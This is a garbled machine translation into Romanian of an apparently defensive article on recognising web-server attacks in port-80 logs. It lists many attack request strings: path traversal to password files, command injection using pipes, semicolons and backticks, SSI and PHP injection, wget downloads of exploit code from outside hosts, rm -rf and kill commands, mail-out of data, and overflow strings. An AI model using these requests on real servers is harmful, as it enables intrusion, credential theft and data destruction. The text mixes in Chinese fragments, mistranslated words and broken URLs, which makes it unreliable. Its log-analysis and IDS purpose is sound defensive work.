I. Rezumat
II. O descriere detaliată a
III. Suplimentare
IV. Analiza induse
V. Transcoding
VI. Concluzie
[] Rezumat
Lipsă web portul site-ul 80 pentru servicii, la eliberarea de o varietate de probleme de securitate a păstra unele dintre aceste vulnerabilitati permite unui atacator pentru a obţine chiar permisiunea de a intra administratorul site-ului în cadrul, următorul text se portul Zenomorph 80 atacuri asupra unor urme de cercetare, şi vă spune cum să găsească problemele de la înregistrările din jurnal.
[Detalii]
Aici, în parte printr-o serie de afişare Liezi pe serverele web si aplicatii pe atacul lor generale, precum şi urmele sale, care reprezintă doar atac Liezi majore, nu există nici o listă a tuturor sub formă de atac, această secţiune va descriere detaliată a rolului fiecărui atac, iar ei cum să exploateze aceste vulnerabilităţi pentru a ataca.
(1) "" ". .." Şi "..." cerere
Urme de aceste atacuri sunt foarte frecvente pentru aplicaţii web şi serverul de web, care a folosit pentru a permite unui atacator sau un program vierme-virus pentru a schimba calea de server web, pentru a avea acces la zonele închise. Majoritatea programelor CGI cu aceste defecte, ".." cerere.
Exemplu:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
Acest lucru demonstrează cererea atacatorului Liezi mosd acest fişier, în cazul în care atacatorul descoperire web capacitatea de root server de directoare, apoi a obţine mai multe informaţii şi pentru a obţine privilegii suplimentare.
(2) "20%" cerere
20% este valoarea hex că cele 16 spaţii, deşi acest lucru nu inseamna ca se poate utiliza orice, dar atunci când a vizualiza jurnalul va găsi, unele aplicaţii server de web care rulează pe acest personaj poate fi pusă în aplicare în mod eficient Prin urmare, trebuie să citiţi cu atenţie jurnal. Pe de altă parte, cererea poate ajuta uneori pentru a efectua unele comenzi.
Exemplu:
http://host/cgi-bin/lame.cgi?page=ls% | 20-Al
Acest Liezi prezinta atacator sa execute o comanda Unix, cota de marfuri intreaga de documente solicitate, cauzând atacator pentru a accesa fişiere importante pe sistemul dumneavoastră şi a contribui la asigurarea condiţiilor de el trebuie să obţină un privilegiu.
(3) "% 00" cerere
00%, a declarat hexazecimal 16-byte gol, el a fost capabil sa pacaleasca aplicatii web, şi să solicite diferite tipuri de fişiere.
Exemple:
http://host/cgi-bin/lame.cgi?page=index.html
Acest lucru poate fi o cerere valabilă în maşină, în cazul în care un atacator conştienţi de această solicitare a fost de succes, el va căuta în continuare pentru procedurile de CGI.
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
Poate program CGI nu accepta această solicitare, deoarece este cererea pentru a verifica sufixul nume de fişier, cum ar fi: html.shtml sau alte tipuri de fişiere. Cele mai multe programe vor să vă spun de tip fişierul solicitat nu este valabil, de data aceasta va spune cererile atacator dosarului trebuie să fie un personaj de un sufix tip de fişier, so un atacator can get calea sistem, fişier name, rezultând dvs. sistem de informare mai sensibile
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd% 00html
Atenţie la această cerere, acesta va ieftin program CGI care acest document este de a determina un tip de fişier acceptabile, unele aplicatii de inspecţii eficiente ca şi fişier de cerere de prost, care este frecvent utilizate metode de atacator.
(4) "|" cerere
Aceasta este un personaj ţeavă, în sistemul Unix, o cerere de ajutor în punerea în aplicare a sistemului de mai multe comenzi în acelaşi timp.
Exemplu:
Access_log # | grep-i Cat ".."
(Această comandă va afişa în jurnal ".." cerere, utilizate frecvent în atacurile şi viermi găsit)
Se poate vedea adesea multe aplicatii web folosi acest caracter, de asemenea, acest lucru duce la alarme false în jurnalele de IDS.
În examinare atentă a cererii dvs., astfel încât avantajul de reducere a alarmelor false în sistemele de detectare a intruziunilor.
Iată câteva dintre Lieh-tzu:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls |
Această comandă cerere, următoarele sunt unele modificări în Liezi
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%% 20-Al | 20/etc
Această cerere este listat în sistemul Unix directorul / etc a tuturor fişierelor
% Http://host/cgi-bin/lame.cgi?page=cat 20access_log% | grep 20-i 20% "şchiop"
Comanda pisica cererea executarea şi punerea în aplicare a comanda grep va, de asemenea, a verifica afară "şchiop"
(5) ";" cerere
În sistemele UNIX, acest personaj permite executarea mai multor linie de comandă
Exemplu:
Id-ul #; uname-a
(Punerea în aplicare a comanda id, urmată de punerea în aplicare a comanda uname)
Unele program de web cu acest personaj, poate duce la IDS jurnalele dvs. de un avertisment de eşec, trebuie să verificaţi cu atenţie programul dvs. de web, astfel încât să reducă riscul de eşec de alerte IDS.
(6) " " şi " " Cerere
Ar trebui să verificaţi jurnalele dvs. de a înregistra două personaje, o serie de motive, primul este caracterul că datele adăugate în documentul
Exemplul 1:
# Echo "dvs. hax0red h0 h0" / etc / motd (motd cerere scrisă informaţii în acest document)
Un atacator poate folosi cu uşurinţă cererea de mai sus interferarea cu pagina dvs. web. Cum ar fi celebrul RDS exploata atacatorul este adesea folosit pentru a schimba pagina web.
Exemplul 2:
% Http://host/something.php=Hi 20mom% 20Im% 20Bold!
Html veţi observa că limbajul semnelor aici, el a petrecut, de asemenea, de caractere " "," ", astfel de atacuri nu poate provoca atacator pentru a accesa sistemul, este confundat de oameni cred că acesta este un legitim site-ul web de informare (care să conducă la Oamenii vizitaţi acest link pentru a vizita atacator pentru a seta adresa, această cerere poate fi codificate în caractere hex 16 în formă, astfel încât urme de atac nu este atât de evidentă)
(7) "Cerere!
Limbaj comun privire la această solicitare SS caracter (Server Side Include) am atac, în cazul în care atacatorul este un atacator confunda utilizatorii fac clic pe link-ul stabilit, şi la fel ca mai sus.
Exemplu:
http://host1/something.php =
Lieh-tzu este un atacator ar putea face acest lucru într-un fişier de pe site-ul de la host2 host1 apare de mai sus (desigur, nevoie de vizitatori pentru a vizita setările atacatorului de conectare. Această cerere poate fi transformată în 16 hex codificare masca, nu uşor de găsit)
În acelaşi timp, această abordare poate executa, de asemenea, pe web site-ul autorităţii comanda
Exemplu:
http://host/something.php =
Lieh-rula pe sistemul de la distanţă "id" comanda, va afişa pe site-ul utilizatorului ID-ul web, este, de obicei "nimeni" sau "www"
Acest formular permite, de asemenea incluse fişiere ascunse.
Exemplu:
http://host/something.php =
Fişiere ascunse. Htpasswd nu vor fi afişate, Apache va refuza să se stabilească astfel de norme pentru a. Ht formularul de cerere, şi logo-ul SSI va trece astfel de restricţii, şi ar conduce la probleme de securitate
(8) "," Cerere
Aceasta încearcă într-un atac de la distanţă web Yong Yu Ying programul Yong Zhong Charu PHP programului, Ta poate Yunxuzhihang ordin, care depinde de Shezhi serverului, şi de alţi factori la locul de muncă Yi Xie (cum ar fi PHP este setat la securitate Moshi)
Exemplu: http://host/something.php = passthru ("id ");?
În unele cerere php simplu, ar putea fi la site-ul de la distanţă cu privire la drepturile de utilizare al sistemului de a efectua comanda locale
(9) "" "cerere
Utilizate acest personaj în Perl înapoi pentru a executa comanda, personajele în procesul de aplicare web nu întotdeauna Shiyong, deci, dacă îl vedeţi în jurnal, ar trebui să fie foarte atent
Exemplu:
http://host/something.cgi = `id`
Scrieti un program Perl CGI în cauză ar conduce la punerea în aplicare a comanda id
[] Mai multe
Secţiunea următoare va discuta mai multe atacatorul poate efectua comanda, împreună cu orice documente solicitate, precum şi executarea de la distanţă de comenzi, dacă aveţi în care defectele constatate în ceea ce-l pentru a verifica. Această parte este doar pentru a vă oferi o idee bună, şi spune sistemul dumneavoastră ce se întâmplă, atacatorii incearca sa atace urme de sistem, dar nu toate lista al atacatorului de utilizare a comenzilor şi a cererilor.
"/ Bin / ls"
Această comandă cere calea ansamblu, în multe din 中 programului de aplicatii web au această lacună, dacă vă conectaţi în multe locuri Zhezhong cerere, este posibil pentru comenzi mari vulnerabilitatea Cheng Yuan de executie, dar nu neapărat o Wenti poate fi, de asemenea, o alarmă falsă. După ce a amintit din nou, aplicatii web scrise (CGI, ASP, PHP, etc ...) este baza de securitate
Exemplu:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls% | 20-Al
http://host/cgi-bin/bad.cgi?doh=ls% 20-Al;
"Cmd.exe"
Acesta este un ferestre de coajă, în cazul în care un atacator să acceseze şi să rulaţi acest script în setările de server în condiţiile permise în maşină Windows poate face nimic, o mulţime de viermi este prin portul 80, de comunicare la maşină de la distanţă
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
"/ Bin / id-ul"
Aceasta este o două fişiere binare, problemele lor si / bin / ls, ca, în cazul în care vă conectaţi în multe locuri, o astfel de cerere, este posibil ca mare vulnerabilitate la distanţă comanda de executie, dar nu neapărat o problemă poate fi, de asemenea, o alarmă falsă.
Acesta va arăta care parte aparţine care de utilizator şi de grup
Exemplu:
| Http://host/cgi-bin/bad.cgi?doh=../../../../bin/id
http://host/cgi-bin/bad.cgi?doh=id;
"/ Bin / rm"
Această comandă poate şterge fişierele fără utilizarea corectă este extrem de periculos
Exemple:
Http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm% 20-RF 20% * |
Http://host/cgi-bin/bad.cgi?doh=rm% 20-RF 20% *;
"Wget şi TFTP" comanda
Aceste comenzi sunt adesea atacatorul poate obţine privilegii suplimentare pentru a descărca fişiere, wget este o comandă unix sub, pot fi utilizate pentru a descărca backdoors, TFTP se află sub comanda Unix şi NT, este folosit pentru a descărca fişierul. Unii viermi IIS se răspândi prin tftp pentru a copia virusului la alte gazde
Exemple:
20http% http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget: / / host2/Phantasmp.c | http:// gazdă / cgi-bin / bad.cgi doh =% 20http wget?: / / www.hwa-security.net/Phantasmp.c;
"Cat" comanda
Această comandă este utilizată pentru a vizualiza conţinutul fişierului, utilizat pentru a citi informaţii importante, cum ar fi fişiere de configurare, fişiere parola, fişierele de credit şi documentele pe care le puteţi gândi
Exemple:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat 20/etc/motd | http://host/cgi-bin/ bad.cgi doh =?% pisică 20/etc/motd;
"Echo" comanda
Această comandă folosit pentru a scrie date la dosar, cum ar fi "index.html"
Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo de 20% "fc-# kiwi% 20was% 20here" 20% |% 200day.txt http://host/cgi-bin/bad.cgi?doh=echo 20% "fc-# kiwi% 20was% 20here"% 20 % 200day.txt;
"PS" comanda
Liste procesul în prezent în funcţiune, spun că atacatorul o gazdă la distanţă care rulează software-ul pentru a obţine o idee de probleme de securitate, în continuare permisiunile
Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps% | 20-aux http://host/cgi-bin/bad. cgi doh PS = 20%-aux?;
"Kill şi killall" comanda
sisteme Unix, în scopul de a ucide acest proces, un atacator poate folosi această comandă pentru a opri servicii de sistem şi procese pot şterge, de asemenea, urme de atacator, unele exploata va produce o mulţime de procese de copil
Exemple: http://host/cgi-bin/bad.cgi?doh=../bin/kill% 20-9% 200 | http://host/cgi-bin/bad.cgi?doh=kill 20% -9% 200;
"Uname" comanda
Aceasta comanda spune atacatorul numele maşinii la distanţă pentru ceva timp, prin intermediul acestui site pentru a şti care ISP, un atacator care poate fi vizitat astăzi. Uname-o de a solicita în mod normal, acestea vor fi înregistrate în log dosar
Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname% 20-o http://host/cgi-bin/bad |. cgi doh =? uname% 20-a;
"CC, gcc, Perl, Python, etc ..." compilare / interpretare a comanda
Atacatorul prin intermediul wget sau TFTP descărca exploata, şi de a folosi compilatorul cc, gcc pentru a compila acest într-un program executabil, şi privilegii şi mai mult accesul
Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc% 20Phantasmp.c | http://host/cgi-bin/bad. cgi? doh = gcc% 20Phantasmp.c;. / a.out% 20-p% 2031337;
Dacă vizualizaţi jurnalele găsit în "Perl" Python "Aceste instrucţiuni pot fi un atacator de la distanţă pentru a descărca script-ul Perl, Python, şi a încercat să ia privilegiile locale
"Mail" comanda
Atacatorii de obicei folosesc acest sistem de comandă, unele documente importante la căsuţa poştală de atacator propriu, şi sunt dispuşi să de e-mail atacuri cu bombă sunt efectuate
Exemple:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail 20attacker@fuckcnhonker.org 20%
2.168.22.1;
"Chown, chmod, chgrp, CHSH, etc ..." şi alte comenzi
sisteme Unix, în scopul de a le permite să schimbe permisiunile de fişiere,
chown = permite setarea fişierul deţinător chmod = permite să setaţi permisiunile de fişier chgrp = permite proprietarului de a schimba permisiunile grupului pe fişiere CHSH = permis de a schimba shell utilizatorului
Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod% 20777% 20index.html | http://host/cgi-bin/ bad.cgi doh =?% chmod 20,777% 20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown 20zeno% 20% / etc / master.passwd http://host/cgi-bin/bad.cgi?doh=chsh% | 20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../. / .. /. .. / bin / chgrp 20nobody% 20/etc/shadow% |
"/ Etc / passwd" fişier
Acesta este dosarul sistemului parola, de obicei, umbra off, şi nu este permis pentru a vedea parola criptată, dar pe atacator, poate şti ce este valabil de utilizator şi calea sistemului absolut, numele site-ului, etc informaţii, aşa cum este, de obicei de umbra oprit, astfel, atacatorul va vedea în mod normal, fişierul / etc / shadow
"/ Etc / master.passwd"
Acest fisier este BSD parola sistemul de fişiere, conţine parola criptată, fişier de pe contul de root este doar read-only, iar unele atacatorii necalificaţi deschis încercarea sa de a citi conţinutul interior., În cazul în care site-ul web este privilegii de root pentru a rula, atunci atacatorul este, putem citi conţinutul interior, o multime de probleme pe administratorul de sistem va veni unul după altul
"/ Etc / shadow"
Contine un sistem de parole criptate, citiţi pe acelaşi cont root, şi / et / master.passwd aproape
"/ Etc / motd"
Atunci când utilizatorii conectaţi la sistemul Unix, care apare informaţia, în acest mesaj "a" Zilei dosar, acesta oferă informaţii importante de sistem si administrator al utilizatorului anumite setări, acestea sunt Xiwang utilizatorilor să vadă, şi cei care nu, conţine, de asemenea, informaţii despre versiunea sistemului, atacatorul a se vedea, de obicei, acest fişier, pentru a înţelege ceea ce sistemul se execută pe atacator, următorul pas este de a căuta pentru acest tip de sistem, exploatarea, precum şi un acces mai bun la sistemul de privilegii
"/ Etc / hosts"
Documentul prevede adresa IP şi reţea de informaţii, un atacator poate afla mai multe despre setările de reţea ale sistemului
"/ Usr / local / apache / conf / httpd.conf"
Acesta este un server de web Apache fişier de configurare, un atacator poate înţelege, cum ar fi CGI, SSI şi alte informaţii sunt accesibile
"/ Etc / inetd.conf"
Acesta este fişierul de configurare serviciu inetd, un atacator poate învăţa sistemul la distanta, începe acestor servicii, dacă înveliş folosite pentru controlul accesului, dacă este găsit pentru a rula înveliş, controalele urmatorul pas atacator "/ etc / hosts.allow" şi "/ etc /" hosts.deny, dosar, şi care ar putea modifica unele setări, privilegii de acces
". Htpasswd,. Htaccess, şi. Htgroup"
Aceste fişiere sunt de obicei utilizate în autentificarea utilizatorului site-ul web, un atacator ar putea vizualiza aceste fişiere, şi să obţină un nume de utilizator şi o parolă, fişierul de parole. Htpasswd criptate înainte, prin intermediul unor hack procesul de decriptare simplu, astfel încât un atacator pentru a accesa site-ul ariilor protejate (de obicei utilizator cu numele de utilizator şi aceeaşi parolă, atacatorul poate vizita chiar alt cont)
"Access_log şi error_log"
Acestea sunt server de fisiere log Apache, atacatorii vizualiza aceste fişiere de multe ori, uita-te la aceste solicitări sunt înregistrate, aceste cereri şi alte locuri diferite
De obicei, un atacator va modifica aceste fişiere jurnal, cum ar fi informaţiile sale adresa proprie atacator ar putea sparge sistemul dvs., 80 porturi, precum şi sistemul dvs., de asemenea, nu spate sus de locuri de muncă, nici un sistem de înregistrare 状况 alte proceduri de înregistrare, care va detectarea intruziunilor devine foarte dificil de a lucra
"[] Drive-o scrisoare: winntrepairsam._ sau [literelor de unitate]: winntrepairsam"
Windows NT parola de sistem de fişiere, în cazul în care comanda de la distanţă nu poate fi pusă în aplicare, atacatorii va solicita, de obicei, aceste documente, apoi "crack l0pht" de tipul de parolă cracking instrumente pentru crack, în cazul în care atacatorul încearcă să atace fişier parola de administrator, în cazul în care de succes, atunci sistemul la distanta va fi atacatorul devine de control
[Overflow analiza]
În acest articol nu voi spune prea mult despre revărsarea subiect, îmi va da afară ceea ce acestor fenomene şi urme de remarcat şi de interes special, tampon Gongji transcodare atacator des şi alte moduri de a realiza dificil de a găsi
Aici este o simplă Lie Zi
Exemplu: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
Acest Liezi prezinta atacatorul privire la o cerere pentru a trimite o mulţime de un caracter, pentru a testa un program de buffer overflow, buffer overflow poate obţine o distanţă de executie a permiselor de comandă gazdă, în cazul în care proprietarul are setuid şi procedurile de la rădăcină, prin preaplin, pot avea acces la întregul sistem, dacă nu ca program setuid, apoi depăşire este doar prin rularea drepturile de utilizare a site-ului web
Aici nu pot spune de toate circumstanţele, dar ar trebui să verificaţi în mod regulat fişierul jurnal, if that zi brusc găsit o mulţime de cereri, dar de obicei nu mai mult cererea, aceasta înseamnă că sunt supuşi atacurilor revărsare, desigur, poate fi, de asemenea, Un nou vierme de reţea atac
[Transcoding]
Toate atacurile menţionate mai sus solicita, atacatorul ştie, de obicei, a sistemelor IDS cererea verificaţi des mecanice, de obicei, atacatorul va utiliza datele instrument de conversie pentru a converti formatul conţinutului solicitat banda de 16, rezultând în IDS va ignora aceste cereri, Suntem familiarizati cu vulnerabilitatea CGI scanare instrument care este un bun Liezi mustăţi. Dacă a vizualiza jurnalul de timp, a constatat un număr mare de banda de 16 şi nu unele caractere comune, apoi atacatorul poate încerca să use unele dintre modalităţile de a attack sistemul dvs.
O modalitate rapida de a afla este că log dosar o cerere prin care 16 Hex, copie it la aparatul de navigare, browser-ul poate Zhuanhua în cererea Zhengque, şi afişează cererea Neirong afară dacă nu curajul de a asuma acest risc, un om simplu ASCII, vă poate furniza cu codul corect.
[Concluzie]
Acest articol nu poate acoperi toate 80 porturile din atac, dar cele mai multe au fost citate mai mult de atac general, şi să vă spun cum să verifica fisierele jurnal, şi cum să adăugaţi, cum ar fi număr de norme IDS, scrie obiectivul ei este să web administrator de sistem ar trebui să fie preocupat de ceea ce o idee bună, în acelaşi timp, sper că acest articol vă ajută să dezvoltatori web programului de web pentru a scrie programe mai bune
DE NOTA: Dacă aveţi orice comentarii şi sugestii, vă rugăm să trimiteţi un admin@cgisecurity.com de e-mail.